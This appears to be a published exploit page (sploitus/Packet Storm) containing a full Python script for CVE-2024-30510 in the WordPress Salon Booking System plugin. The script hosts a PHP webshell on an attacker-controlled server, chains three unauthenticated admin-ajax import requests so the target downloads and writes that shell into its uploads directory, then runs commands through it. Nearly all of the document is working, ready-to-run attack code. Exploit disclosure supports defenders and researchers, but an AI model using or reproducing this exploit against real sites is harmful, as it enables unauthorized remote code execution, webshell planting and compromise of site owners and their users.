Share
## https://sploitus.com/exploit?id=PACKETSTORM:226398
#!/usr/bin/env python3
    # Exploit Title: WordPress Plugin Salon Booking System <= 9.5 - Unauthenticated Arbitrary File Upload to RCE
    # Google Dork: N/A
    # Date: 2026-07-10
    # Exploit Author: A. Ramos <aramosf@gmail.com> / @aramosf
    # Vendor Homepage: https://wordpress.org/plugins/salon-booking-system/
    # Software Link: https://downloads.wordpress.org/plugin/salon-booking-system.9.4.zip
    # Version: 9.4 (REQUIRED)
    # Tested on: WordPress 6.6.2, PHP 8.2, MariaDB 10.11 (Docker, Debian 12 / Linux)
    # CVE : CVE-2024-30510
    """CVE-2024-30510 โ€” Salon Booking System <= 9.5 โ€” Unauthenticated Arbitrary File Upload -> RCE
    
    Blackbox HTTP exploit against a real WordPress + Salon Booking System install.
    
    Root cause:
      - admin-ajax action `salon` is registered for nopriv (src/SLN/Action/Init.php:415) and the
        dispatcher SLN_Plugin::ajax() has its nonce check COMMENTED OUT (src/SLN/Plugin.php:220),
        then instantiates SLN_Action_Ajax_<method> from $_REQUEST['method'] with no capability check.
      - method=importAssistants -> SLN_Action_Ajax_ImportAssistants, a 3-step CSV "import assistants"
        flow (start -> matching -> process). On `process`, for a row whose mapped `image_url` field
        is set, the handler does file_get_contents($image_url) then fwrite() into the uploads dir
        using basename($image_url) as the filename, with NO extension/MIME validation
        (src/SLN/Action/Ajax/ImportAssistants.php ~L111-121). A `.php` URL yields a webshell.
    
    The import state is kept in a site-wide transient, so the 3 unauthenticated requests chain
    without any cookie/session.
    
    Usage:
      python3 CVE-2024-30510_salon-booking.py --target http://localhost:8090 --lhost host.docker.internal
    """
    import argparse, threading, http.server, socketserver, time, sys, datetime, urllib.parse
    import requests
    
    requests.packages.urllib3.disable_warnings()
    
    TOKEN = "SALON_PWNED_30510"
    SHELL = ("<?php echo '%s'; if(isset($_GET['c'])) system($_GET['c']); "
             "echo ' phpuser='.get_current_user(); ?>" % TOKEN).encode()
    
    class PayloadHandler(http.server.BaseHTTPRequestHandler):
        def do_GET(self):
            self.send_response(200)
            self.send_header("Content-Type", "text/plain")
            self.send_header("Content-Length", str(len(SHELL)))
            self.end_headers()
            self.wfile.write(SHELL)
        def log_message(self, *a): pass
    
    def start_server(port):
        socketserver.TCPServer.allow_reuse_address = True
        httpd = socketserver.TCPServer(("0.0.0.0", port), PayloadHandler)
        threading.Thread(target=httpd.serve_forever, daemon=True).start()
        return httpd
    
    def main():
        ap = argparse.ArgumentParser()
        ap.add_argument("--target", required=True)
        ap.add_argument("--lhost", required=True, help="address the target uses to reach us (e.g. host.docker.internal)")
        ap.add_argument("--lport", type=int, default=8902)
        ap.add_argument("--shell-name", default="salon_shell.php")
        ap.add_argument("--cmd", default="id")
        args = ap.parse_args()
        base = args.target.rstrip("/")
        ajax = base + "/wp-admin/admin-ajax.php"
    
        print(f"[*] Target: {base}")
        print(f"[*] Payload server on 0.0.0.0:{args.lport} (target reaches it at {args.lhost}:{args.lport})")
        httpd = start_server(args.lport)
        time.sleep(0.4)
    
        shell_url = f"http://{args.lhost}:{args.lport}/{args.shell_name}"
        # CSV: header row defines columns 'name' and 'image_url'; data row carries the payload URL
        csv = f"name,image_url\nlab-assistant,{shell_url}\n"
    
        # --- Step 1: start (multipart upload of the CSV) ---
        print("[*] Step 1/3 -> step=start (upload CSV defining image_url column)")
        r1 = requests.post(ajax,
            data={"action": "salon", "method": "importAssistants", "step": "start"},
            files={"file": ("import.csv", csv, "text/csv")},
            timeout=30, verify=False)
        print(f"    HTTP {r1.status_code} :: {r1.text[:160]}")
    
        # --- Step 2: matching (map plugin fields -> CSV columns) ---
        form = urllib.parse.urlencode({
            "import_matching[name]": "name",
            "import_matching[image_url]": "image_url",
        })
        print("[*] Step 2/3 -> step=matching (map image_url -> image_url column)")
        r2 = requests.post(ajax,
            data={"action": "salon", "method": "importAssistants", "step": "matching", "form": form},
            timeout=30, verify=False)
        print(f"    HTTP {r2.status_code} :: {r2.text[:160]}")
    
        # --- Step 3: process (triggers file_get_contents + fwrite of the payload) ---
        print("[*] Step 3/3 -> step=process (fetch image_url + write to uploads)")
        r3 = requests.post(ajax,
            data={"action": "salon", "method": "importAssistants", "step": "process"},
            timeout=30, verify=False)
        print(f"    HTTP {r3.status_code} :: {r3.text[:160]}")
    
        # webshell lands in uploads/<YYYY>/<MM>/<name>
        now = datetime.datetime.now(datetime.timezone.utc)
        candidates = [
            f"/wp-content/uploads/{now.year}/{now.month:02d}/{args.shell_name}",
            f"/wp-content/uploads/{args.shell_name}",
        ]
        print("[*] Verifying webshell (blackbox RCE check)...")
        for path in candidates:
            try:
                rr = requests.get(base + path, params={"c": args.cmd}, timeout=15, verify=False)
            except Exception as e:
                print(f"    {path} -> error {e}"); continue
            if TOKEN in rr.text:
                print(f"\n[+] RCE CONFIRMED โ€” webshell at {path}")
                print(f"[+] `{args.cmd}` output:\n{'-'*50}\n{rr.text.strip()}\n{'-'*50}")
                httpd.shutdown(); return 0
            print(f"    {path} -> HTTP {rr.status_code} (no marker)")
        print("\n[-] Could not confirm the webshell (check allow_url_fopen / uploads path).")
        httpd.shutdown(); return 1
    
    if __name__ == "__main__":
        sys.exit(main())